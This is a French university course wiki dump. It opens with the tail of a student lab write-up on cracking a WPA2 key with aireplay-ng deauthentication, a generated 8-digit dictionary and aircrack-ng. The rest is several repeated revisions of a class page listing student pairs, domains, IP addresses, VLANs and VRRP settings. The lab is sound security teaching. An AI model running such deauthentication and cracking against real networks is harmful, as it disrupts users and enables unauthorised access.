* <code>-c 13</code> : écoute sur le canal du point d’accès.
* <code>--bssid</code> : filtrage du réseau cible uniquement.
* <code>-w</code> : sauvegarde des paquets capturés.
* <code>wlan1mon</code> : interface en mode moniteur.

Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.

===Forçage de la reconnexion des clients ===

Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.

<syntaxhighlight lang="bash">
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon
</syntaxhighlight>

* <code>-0 10</code> : envoi de 10 trames de désauthentification.
* <code>-a</code> : BSSID du point d’accès cible.

Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans <code>airodump-ng</code>.

Sortie observée :

<pre>
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]
</pre>

=== Absence de capture du handshake ===

Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :

<pre>
WPA handshake: 44:AD:D9:5F:87:07
</pre>

n’est apparu dans la fenêtre de capture.

Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.

Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:

<syntaxhighlight lang="bash">
seq -w 00000000 99999999 > dictionnaire.txt
</syntaxhighlight>

pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.

=== Tentative de cassage du mot de passe ===

La commande suivante permet de lancer l’attaque par dictionnaire :

<syntaxhighlight lang="bash">
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap
</syntaxhighlight>

Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.

Fichier:Cracotte08.png

2026-02-25T16:36:28Z

Yyahiani :

clé trouvée

SE4 IdO sécurité système/réseau 2025/2026

2026-02-10T16:56:23Z

Yyahiani : /* Plan d'adressage */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|pont_rock
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|E1-Pierre
|11
|-
|E2-Agathe
|12
|-
|E5-Cedric
|15
|-
|E6-Thomas
|16
|-
|E9-Aurele
|19
|-
|E10-Tom
|20
|-
|E13-Billel
|23
|-
|E14-Antonin
|24
|-
|E15-MSalhi
|25
|-
|E11-Evora
|28
|-
|E12-Gauthier
|21
|-
|E8-Yassine
|18
|-
|E7-Ibrahim
|17
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
| PoolPierre || <code>10.60.1.0/24</code> || </code>2001:660:4401:60a1::/64</code>
|-
| PoolAgathe || <code>10.60.2.0/24</code> || </code>2001:660:4401:60a2::/64</code>
|-
|PoolCedric
|<code>10.60.5.0/24</code>
|2001:660:4401:60a5::/64
|-
|PoolThomas
|<code>10.60.6.0/24</code>
|2001:660:4401:60a6::/64
|-
|PoolBillel
|<code>10.60.13.0/24</code>
|2001:660:4401:60ad::/64
|-
|PoolAurele
|<code>10.60.9.0/24</code>
|2001:660:4401:60a9::/64
|-
|PoolTom
|<code>10.60.10.0/24</code>
|2001:660:4401:60aa::/64
|-
|PoolSalhi
|<code>10.60.15.0/24</code>
|2001:660:4401:60b1::/64
|-
|PoolAntonin
|<code>10.60.14.0/24</code>
|2001:660:4401:60ae::/64
|-
|PoolYassine
|10.60.8.0/24
|2001:660:4401:60a8::/64
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

SE4 IdO sécurité système/réseau 2025/2026

2026-02-10T16:49:54Z

Yyahiani : /* Tableau des réseaux virtuels */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|pont_rock
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|E1-Pierre
|11
|-
|E2-Agathe
|12
|-
|E5-Cedric
|15
|-
|E6-Thomas
|16
|-
|E9-Aurele
|19
|-
|E10-Tom
|20
|-
|E13-Billel
|23
|-
|E14-Antonin
|24
|-
|E15-MSalhi
|25
|-
|E11-Evora
|28
|-
|E12-Gauthier
|21
|-
|E8-Yassine
|18
|-
|E7-Ibrahim
|17
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
| PoolPierre || <code>10.60.1.0/24</code> || </code>2001:660:4401:60a1::/64</code>
|-
| PoolAgathe || <code>10.60.2.0/24</code> || </code>2001:660:4401:60a2::/64</code>
|-
|PoolCedric
|<code>10.60.5.0/24</code>
|2001:660:4401:60a5::/64
|-
|PoolThomas
|<code>10.60.6.0/24</code>
|2001:660:4401:60a6::/64
|-
|PoolBillel
|<code>10.60.13.0/24</code>
|2001:660:4401:60ad::/64
|-
|PoolAurele
|<code>10.60.9.0/24</code>
|2001:660:4401:60a9::/64
|-
|PoolTom
|<code>10.60.10.0/24</code>
|2001:660:4401:60aa::/64
|-
|PoolSalhi
|<code>10.60.15.0/24</code>
|2001:660:4401:60b1::/64
|-
|PoolAntonin
|<code>10.60.14.0/24</code>
|2001:660:4401:60ae::/64
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

SE4 IdO sécurité système/réseau 2025/2026

2026-02-10T16:49:16Z

Yyahiani : /* Tableau des réseaux virtuels */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|pont_rock
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|E1-Pierre
|11
|-
|E2-Agathe
|12
|-
|E5-Cedric
|15
|-
|E6-Thomas
|16
|-
|E9-Aurele
|19
|-
|E10-Tom
|20
|-
|E13-Billel
|23
|-
|E14-Antonin
|24
|-
|E15-MSalhi
|25
|-
|E11-Evora
|28
|-
|E12-Gauthier
|21
|-
|E8-Yassine
|18
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
| PoolPierre || <code>10.60.1.0/24</code> || </code>2001:660:4401:60a1::/64</code>
|-
| PoolAgathe || <code>10.60.2.0/24</code> || </code>2001:660:4401:60a2::/64</code>
|-
|PoolCedric
|<code>10.60.5.0/24</code>
|2001:660:4401:60a5::/64
|-
|PoolThomas
|<code>10.60.6.0/24</code>
|2001:660:4401:60a6::/64
|-
|PoolBillel
|<code>10.60.13.0/24</code>
|2001:660:4401:60ad::/64
|-
|PoolAurele
|<code>10.60.9.0/24</code>
|2001:660:4401:60a9::/64
|-
|PoolTom
|<code>10.60.10.0/24</code>
|2001:660:4401:60aa::/64
|-
|PoolSalhi
|<code>10.60.15.0/24</code>
|2001:660:4401:60b1::/64
|-
|PoolAntonin
|<code>10.60.14.0/24</code>
|2001:660:4401:60ae::/64
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

SE4 IdO sécurité système/réseau 2025/2026

2026-02-10T16:46:55Z

Yyahiani : /* Tableau des réseaux virtuels */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|pont_rock
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|E1-Pierre
|11
|-
|E2-Agathe
|12
|-
|E5-Cedric
|15
|-
|E6-Thomas
|16
|-
|E9-Aurele
|19
|-
|E10-Tom
|20
|-
|E13-Billel
|23
|-
|E14-Antonin
|24
|-
|E15-MSalhi
|25
|-
|E11-Evora
|28
|-
|E12-Gauthier
|21
|-
|E7-Yassine
|17
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
| PoolPierre || <code>10.60.1.0/24</code> || </code>2001:660:4401:60a1::/64</code>
|-
| PoolAgathe || <code>10.60.2.0/24</code> || </code>2001:660:4401:60a2::/64</code>
|-
|PoolCedric
|<code>10.60.5.0/24</code>
|2001:660:4401:60a5::/64
|-
|PoolThomas
|<code>10.60.6.0/24</code>
|2001:660:4401:60a6::/64
|-
|PoolBillel
|<code>10.60.13.0/24</code>
|2001:660:4401:60ad::/64
|-
|PoolAurele
|<code>10.60.9.0/24</code>
|2001:660:4401:60a9::/64
|-
|PoolTom
|<code>10.60.10.0/24</code>
|2001:660:4401:60aa::/64
|-
|PoolSalhi
|<code>10.60.15.0/24</code>
|2001:660:4401:60b1::/64
|-
|PoolAntonin
|<code>10.60.14.0/24</code>
|2001:660:4401:60ae::/64
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|}

= Informations VRRP =

